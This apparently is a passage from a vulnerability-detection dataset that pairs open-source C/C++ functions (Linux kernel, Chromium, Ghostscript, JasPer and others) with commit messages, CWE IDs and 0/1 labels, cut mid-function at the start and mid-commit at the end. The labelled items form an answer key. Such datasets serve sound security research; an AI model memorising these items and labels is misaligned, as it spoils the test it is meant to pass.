make_null_proc(&doref);
}
epref = &doref;
goto again;
}
ccode = copy_stack(i_ctx_p, &o_stack, 0, &saref);
if (ccode < 0)
return ccode;
ref_stack_clear(&o_stack);
*++osp = saref;
break;
case gs_error_stackunderflow:
if (ref_stack_pop_block(&o_stack) >= 0) {
doref = *perror_object;
epref = &doref;
goto again;
}
break;
}
if (user_errors < 0)
return code;
if (gs_errorname(i_ctx_p, code, &error_name) < 0)
return code; /* out-of-range error code! */
/* We refer to gserrordict first, which is not accessible to Postcript jobs
* If we're running with SAFERERRORS all the handlers are copied to gserrordict
* so we'll always find the default one. If not SAFERERRORS, only gs specific
* errors are in gserrordict.
*/
if (dict_find_string(systemdict, "gserrordict", &perrordict) <= 0 ||
(dict_find(perrordict, &error_name, &epref) <= 0 &&
(dict_find_string(systemdict, "errordict", &perrordict) <= 0 ||
dict_find(perrordict, &error_name, &epref) <= 0))
)
return code; /* error name not in errordict??? */
doref = *epref;
epref = &doref;
/* Push the error object on the operand stack if appropriate. */
if (!GS_ERROR_IS_INTERRUPT(code)) {
byte buf[260], *bufptr;
uint rlen;
/* Replace the error object if within an oparray or .errorexec. */
osp++;
if (osp >= ostop) {
*pexit_code = gs_error_Fatal;
return_error(gs_error_Fatal);
}
*osp = *perror_object;
errorexec_find(i_ctx_p, osp);
if (!r_has_type(osp, t_string) && !r_has_type(osp, t_name)) {
code = obj_cvs(imemory, osp, buf + 2, 256, &rlen, (const byte **)&bufptr);
if (code < 0) {
const char *unknownstr = "--unknown--";
rlen = strlen(unknownstr);
memcpy(buf, unknownstr, rlen);
bufptr = buf;
}
else {
ref *tobj;
bufptr[rlen] = '\0';
/* Only pass a name object if the operator doesn't exist in systemdict
* i.e. it's an internal operator we have hidden
*/
code = dict_find_string(systemdict, (const char *)bufptr, &tobj);
if (code < 0) {
buf[0] = buf[1] = buf[rlen + 2] = buf[rlen + 3] = '-';
rlen += 4;
bufptr = buf;
}
else {
bufptr = NULL;
}
}
if (bufptr) {
code = name_ref(imemory, buf, rlen, osp, 1);
if (code < 0)
make_null(osp);
}
}
}
goto again;
}
Commit Message:
CWE ID: CWE-200
| 0
| 2,366
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: FeedbackPrivateDelegate* ExtensionsAPIClient::GetFeedbackPrivateDelegate() {
return nullptr;
}
Commit Message: Hide DevTools frontend from webRequest API
Prevent extensions from observing requests for remote DevTools frontends
and add regression tests.
And update ExtensionTestApi to support initializing the embedded test
server and port from SetUpCommandLine (before SetUpOnMainThread).
BUG=797497,797500
TEST=browser_test --gtest_filter=DevToolsFrontendInWebRequestApiTest.HiddenRequests
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: Ic8f44b5771f2d5796f8c3de128f0a7ab88a77735
Reviewed-on: https://chromium-review.googlesource.com/844316
Commit-Queue: Rob Wu <rob@robwu.nl>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#528187}
CWE ID: CWE-200
| 0
| 146,609
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int vq_access_ok(struct vhost_virtqueue *vq, unsigned int num,
struct vring_desc __user *desc,
struct vring_avail __user *avail,
struct vring_used __user *used)
{
size_t s = vhost_has_feature(vq, VIRTIO_RING_F_EVENT_IDX) ? 2 : 0;
return access_ok(VERIFY_READ, desc, num * sizeof *desc) &&
access_ok(VERIFY_READ, avail,
sizeof *avail + num * sizeof *avail->ring + s) &&
access_ok(VERIFY_WRITE, used,
sizeof *used + num * sizeof *used->ring + s);
}
Commit Message: vhost: actually track log eventfd file
While reviewing vhost log code, I found out that log_file is never
set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet).
Cc: stable@vger.kernel.org
Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
CWE ID: CWE-399
| 0
| 42,246
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void VerifyPrefList(const char* pref, const int64* values, size_t count) {
ASSERT_GE(kNumDaysInHistory, count);
ListPrefUpdate update(&pref_service_, pref);
ASSERT_EQ(kNumDaysInHistory, update->GetSize()) << "Pref: " << pref;
for (size_t i = 0; i < count; ++i) {
EXPECT_EQ(
values[i],
GetListPrefInt64Value(*update, kNumDaysInHistory - count + i))
<< "index=" << (kNumDaysInHistory - count + i);
}
for (size_t i = 0; i < kNumDaysInHistory - count; ++i) {
EXPECT_EQ(0, GetListPrefInt64Value(*update, i)) << "index=" << i;
}
}
Commit Message: Added daily UMA for non-data-reduction-proxy data usage when the proxy is enabled.
BUG=325325
Review URL: https://codereview.chromium.org/106113002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@239897 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416
| 0
| 113,548
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void armv8pmu_disable_event(struct hw_perf_event *hwc, int idx)
{
unsigned long flags;
struct pmu_hw_events *events = cpu_pmu->get_hw_events();
/*
* Disable counter and interrupt
*/
raw_spin_lock_irqsave(&events->pmu_lock, flags);
/*
* Disable counter
*/
armv8pmu_disable_counter(idx);
/*
* Disable interrupt for this counter
*/
armv8pmu_disable_intens(idx);
raw_spin_unlock_irqrestore(&events->pmu_lock, flags);
}
Commit Message: arm64: perf: reject groups spanning multiple HW PMUs
The perf core implicitly rejects events spanning multiple HW PMUs, as in
these cases the event->ctx will differ. However this validation is
performed after pmu::event_init() is called in perf_init_event(), and
thus pmu::event_init() may be called with a group leader from a
different HW PMU.
The ARM64 PMU driver does not take this fact into account, and when
validating groups assumes that it can call to_arm_pmu(event->pmu) for
any HW event. When the event in question is from another HW PMU this is
wrong, and results in dereferencing garbage.
This patch updates the ARM64 PMU driver to first test for and reject
events from other PMUs, moving the to_arm_pmu and related logic after
this test. Fixes a crash triggered by perf_fuzzer on Linux-4.0-rc2, with
a CCI PMU present:
Bad mode in Synchronous Abort handler detected, code 0x86000006 -- IABT (current EL)
CPU: 0 PID: 1371 Comm: perf_fuzzer Not tainted 3.19.0+ #249
Hardware name: V2F-1XV7 Cortex-A53x2 SMM (DT)
task: ffffffc07c73a280 ti: ffffffc07b0a0000 task.ti: ffffffc07b0a0000
PC is at 0x0
LR is at validate_event+0x90/0xa8
pc : [<0000000000000000>] lr : [<ffffffc000090228>] pstate: 00000145
sp : ffffffc07b0a3ba0
[< (null)>] (null)
[<ffffffc0000907d8>] armpmu_event_init+0x174/0x3cc
[<ffffffc00015d870>] perf_try_init_event+0x34/0x70
[<ffffffc000164094>] perf_init_event+0xe0/0x10c
[<ffffffc000164348>] perf_event_alloc+0x288/0x358
[<ffffffc000164c5c>] SyS_perf_event_open+0x464/0x98c
Code: bad PC value
Also cleans up the code to use the arm_pmu only when we know
that we are dealing with an arm pmu event.
Cc: Will Deacon <will.deacon@arm.com>
Acked-by: Mark Rutland <mark.rutland@arm.com>
Acked-by: Peter Ziljstra (Intel) <peterz@infradead.org>
Signed-off-by: Suzuki K. Poulose <suzuki.poulose@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
CWE ID: CWE-264
| 0
| 56,204
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vhost_zerocopy_signal_used(struct vhost_net *net,
struct vhost_virtqueue *vq)
{
struct vhost_net_virtqueue *nvq =
container_of(vq, struct vhost_net_virtqueue, vq);
int i, add;
int j = 0;
for (i = nvq->done_idx; i != nvq->upend_idx; i = (i + 1) % UIO_MAXIOV) {
if (vq->heads[i].len == VHOST_DMA_FAILED_LEN)
vhost_net_tx_err(net);
if (VHOST_DMA_IS_DONE(vq->heads[i].len)) {
vq->heads[i].len = VHOST_DMA_CLEAR_LEN;
++j;
} else
break;
}
while (j) {
add = min(UIO_MAXIOV - nvq->done_idx, j);
vhost_add_used_and_signal_n(vq->dev, vq,
&vq->heads[nvq->done_idx], add);
nvq->done_idx = (nvq->done_idx + add) % UIO_MAXIOV;
j -= add;
}
}
Commit Message: vhost: fix total length when packets are too short
When mergeable buffers are disabled, and the
incoming packet is too large for the rx buffer,
get_rx_bufs returns success.
This was intentional in order for make recvmsg
truncate the packet and then handle_rx would
detect err != sock_len and drop it.
Unfortunately we pass the original sock_len to
recvmsg - which means we use parts of iov not fully
validated.
Fix this up by detecting this overrun and doing packet drop
immediately.
CVE-2014-0077
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 0
| 39,959
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AutofillDialogViews::Show() {
InitChildViews();
UpdateAccountChooser();
UpdateNotificationArea();
UpdateButtonStripExtraView();
window_ = constrained_window::ShowWebModalDialogViews(
this, delegate_->GetWebContents());
focus_manager_ = window_->GetFocusManager();
focus_manager_->AddFocusChangeListener(this);
ShowDialogInMode(DETAIL_INPUT);
views::Widget* browser_widget =
views::Widget::GetTopLevelWidgetForNativeView(
delegate_->GetWebContents()->GetNativeView());
observer_.Add(browser_widget);
event_handler_.reset(new MousePressedHandler(delegate_));
window_->GetRootView()->AddPostTargetHandler(event_handler_.get());
observer_.Add(window_);
}
Commit Message: Clear out some minor TODOs.
BUG=none
Review URL: https://codereview.chromium.org/1047063002
Cr-Commit-Position: refs/heads/master@{#322959}
CWE ID: CWE-20
| 0
| 110,051
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void jp2_pclr_destroy(jp2_box_t *box)
{
jp2_pclr_t *pclr = &box->data.pclr;
if (pclr->lutdata) {
jas_free(pclr->lutdata);
}
if (pclr->bpc)
jas_free(pclr->bpc);
}
Commit Message: Fixed bugs due to uninitialized data in the JP2 decoder.
Also, added some comments marking I/O stream interfaces that probably
need to be changed (in the long term) to fix integer overflow problems.
CWE ID: CWE-476
| 0
| 67,972
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void *allocSpace(
struct ReusableSpace *p, /* Bulk memory available for allocation */
void *pBuf, /* Pointer to a prior allocation */
int nByte /* Bytes of memory needed */
){
assert( EIGHT_BYTE_ALIGNMENT(p->pSpace) );
if( pBuf==0 ){
nByte = ROUND8(nByte);
if( nByte <= p->nFree ){
p->nFree -= nByte;
pBuf = &p->pSpace[p->nFree];
}else{
p->nNeeded += nByte;
}
}
assert( EIGHT_BYTE_ALIGNMENT(pBuf) );
return pBuf;
}
Commit Message: sqlite: safely move pointer values through SQL.
This lands https://www.sqlite.org/src/timeline?c=d6a44b35 in
third_party/sqlite/src/ and
third_party/sqlite/patches/0013-Add-new-interfaces-sqlite3_bind_pointer-sqlite3_resu.patch
and re-generates third_party/sqlite/amalgamation/* using the script at
third_party/sqlite/google_generate_amalgamation.sh.
The CL also adds a layout test that verifies the patch works as intended.
BUG=742407
Change-Id: I2e1a457459cd2e975e6241b630e7b79c82545981
Reviewed-on: https://chromium-review.googlesource.com/572976
Reviewed-by: Chris Mumford <cmumford@chromium.org>
Commit-Queue: Victor Costan <pwnall@chromium.org>
Cr-Commit-Position: refs/heads/master@{#487275}
CWE ID: CWE-119
| 0
| 136,288
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SaveBlobStatus(BlobStatus* status_ptr, BlobStatus status) {
*status_ptr = status;
}
Commit Message: [BlobStorage] Fixing potential overflow
Bug: 779314
Change-Id: I74612639d20544e4c12230569c7b88fbe669ec03
Reviewed-on: https://chromium-review.googlesource.com/747725
Reviewed-by: Victor Costan <pwnall@chromium.org>
Commit-Queue: Daniel Murphy <dmurph@chromium.org>
Cr-Commit-Position: refs/heads/master@{#512977}
CWE ID: CWE-119
| 0
| 150,315
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void *m_next(struct seq_file *m, void *v, loff_t *pos)
{
struct proc_maps_private *priv = m->private;
struct vm_area_struct *vma = v;
struct vm_area_struct *tail_vma = priv->tail_vma;
(*pos)++;
if (vma && (vma != tail_vma) && vma->vm_next)
return vma->vm_next;
vma_stop(priv, vma);
return (vma != tail_vma)? tail_vma: NULL;
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[akpm@linux-foundation.org: checkpatch fixes]
Reported-by: Ulrich Obergfell <uobergfe@redhat.com>
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Dave Jones <davej@redhat.com>
Acked-by: Larry Woodman <lwoodman@redhat.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: Mark Salter <msalter@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 20,983
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: free_all_allocator(clump_t *cp, void *arg)
{
struct free_data *fd = (struct free_data *)arg;
if (cp->cbase + sizeof(obj_header_t) != (byte *)fd->imem)
return SPLAY_APP_CONTINUE;
fd->allocator = cp;
alloc_free_clump(cp, fd->imem);
return SPLAY_APP_STOP;
}
Commit Message:
CWE ID: CWE-190
| 0
| 5,328
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int jas_icclut8_input(jas_iccattrval_t *attrval, jas_stream_t *in,
int cnt)
{
int i;
int j;
int clutsize;
jas_icclut8_t *lut8 = &attrval->data.lut8;
lut8->clut = 0;
lut8->intabs = 0;
lut8->intabsbuf = 0;
lut8->outtabs = 0;
lut8->outtabsbuf = 0;
if (jas_iccgetuint8(in, &lut8->numinchans) ||
jas_iccgetuint8(in, &lut8->numoutchans) ||
jas_iccgetuint8(in, &lut8->clutlen) ||
jas_stream_getc(in) == EOF)
goto error;
for (i = 0; i < 3; ++i) {
for (j = 0; j < 3; ++j) {
if (jas_iccgetsint32(in, &lut8->e[i][j]))
goto error;
}
}
if (jas_iccgetuint16(in, &lut8->numintabents) ||
jas_iccgetuint16(in, &lut8->numouttabents))
goto error;
clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
!(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
lut8->numintabents, sizeof(jas_iccuint8_t))) ||
!(lut8->intabs = jas_alloc2(lut8->numinchans,
sizeof(jas_iccuint8_t *))))
goto error;
for (i = 0; i < lut8->numinchans; ++i)
lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
!(lut8->outtabs = jas_alloc2(lut8->numoutchans,
sizeof(jas_iccuint8_t *))))
goto error;
for (i = 0; i < lut8->numoutchans; ++i)
lut8->outtabs[i] = &lut8->outtabsbuf[i * lut8->numouttabents];
for (i = 0; i < lut8->numinchans; ++i) {
for (j = 0; j < JAS_CAST(int, lut8->numintabents); ++j) {
if (jas_iccgetuint8(in, &lut8->intabs[i][j]))
goto error;
}
}
for (i = 0; i < lut8->numoutchans; ++i) {
for (j = 0; j < JAS_CAST(int, lut8->numouttabents); ++j) {
if (jas_iccgetuint8(in, &lut8->outtabs[i][j]))
goto error;
}
}
for (i = 0; i < clutsize; ++i) {
if (jas_iccgetuint8(in, &lut8->clut[i]))
goto error;
}
if (JAS_CAST(int, 44 + lut8->numinchans * lut8->numintabents +
lut8->numoutchans * lut8->numouttabents +
jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans) !=
cnt)
goto error;
return 0;
error:
jas_icclut8_destroy(attrval);
return -1;
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190
| 0
| 72,709
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int SoundPool::beginThread(void* arg)
{
SoundPool* p = (SoundPool*)arg;
return p->run();
}
Commit Message: DO NOT MERGE SoundPool: add lock for findSample access from SoundPoolThread
Sample decoding still occurs in SoundPoolThread
without holding the SoundPool lock.
Bug: 25781119
Change-Id: I11fde005aa9cf5438e0390a0d2dfe0ec1dd282e8
CWE ID: CWE-264
| 0
| 161,895
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void security_premaster_hash(const char* input, int length, const BYTE* premaster_secret, const BYTE* client_random, const BYTE* server_random, BYTE* output)
{
/* PremasterHash(Input) = SaltedHash(PremasterSecret, Input, ClientRandom, ServerRandom) */
security_salted_hash(premaster_secret, (BYTE*)input, length, client_random, server_random, output);
}
Commit Message: security: add a NULL pointer check to fix a server crash.
CWE ID: CWE-476
| 0
| 58,670
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TextTrackCue::setStartTime(double value) {
if (start_time_ == value || value < 0)
return;
CueWillChange();
start_time_ = value;
CueDidChange(kCueMutationAffectsOrder);
}
Commit Message: Support negative timestamps of TextTrackCue
Ensure proper behaviour for negative timestamps of TextTrackCue.
1. Cues with negative startTime should become active from 0s.
2. Cues with negative startTime and endTime should never be active.
Bug: 314032
Change-Id: Ib53710e58be0be770c933ea8c3c4709a0e5dec0d
Reviewed-on: https://chromium-review.googlesource.com/863270
Commit-Queue: srirama chandra sekhar <srirama.m@samsung.com>
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/master@{#529012}
CWE ID:
| 1
| 171,770
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PaymentRequest::RecordDialogShownEventInJourneyLogger() {
journey_logger_.SetEventOccurred(JourneyLogger::EVENT_SHOWN);
}
Commit Message: [Payment Request][Desktop] Prevent use after free.
Before this patch, a compromised renderer on desktop could make IPC
methods into Payment Request in an unexpected ordering and cause use
after free in the browser.
This patch will disconnect the IPC pipes if:
- Init() is called more than once.
- Any other method is called before Init().
- Show() is called more than once.
- Retry(), UpdateWith(), NoupdatedPaymentDetails(), Abort(), or
Complete() are called before Show().
This patch re-orders the IPC methods in payment_request.cc to match the
order in payment_request.h, which eases verifying correctness of their
error handling.
This patch prints more errors to the developer console, if available, to
improve debuggability by web developers, who rarely check where LOG
prints.
After this patch, unexpected ordering of calls into the Payment Request
IPC from the renderer to the browser on desktop will print an error in
the developer console and disconnect the IPC pipes. The binary might
increase slightly in size because more logs are included in the release
version instead of being stripped at compile time.
Bug: 912947
Change-Id: Iac2131181c64cd49b4e5ec99f4b4a8ae5d8df57a
Reviewed-on: https://chromium-review.googlesource.com/c/1370198
Reviewed-by: anthonyvd <anthonyvd@chromium.org>
Commit-Queue: Rouslan Solomakhin <rouslan@chromium.org>
Cr-Commit-Position: refs/heads/master@{#616822}
CWE ID: CWE-189
| 0
| 153,078
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void account_system_vtime(struct task_struct *curr)
{
unsigned long flags;
s64 delta;
int cpu;
if (!sched_clock_irqtime)
return;
local_irq_save(flags);
cpu = smp_processor_id();
delta = sched_clock_cpu(cpu) - __this_cpu_read(irq_start_time);
__this_cpu_add(irq_start_time, delta);
irq_time_write_begin();
/*
* We do not account for softirq time from ksoftirqd here.
* We want to continue accounting softirq time to ksoftirqd thread
* in that case, so as not to confuse scheduler with a special task
* that do not consume any time, but still wants to run.
*/
if (hardirq_count())
__this_cpu_add(cpu_hardirq_time, delta);
else if (in_serving_softirq() && curr != this_cpu_ksoftirqd())
__this_cpu_add(cpu_softirq_time, delta);
irq_time_write_end();
local_irq_restore(flags);
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 26,255
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int do_siocgstamp(struct net *net, struct socket *sock,
unsigned int cmd, void __user *up)
{
mm_segment_t old_fs = get_fs();
struct timeval ktv;
int err;
set_fs(KERNEL_DS);
err = sock_do_ioctl(net, sock, cmd, (unsigned long)&ktv);
set_fs(old_fs);
if (!err)
err = compat_put_timeval(&ktv, up);
return err;
}
Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
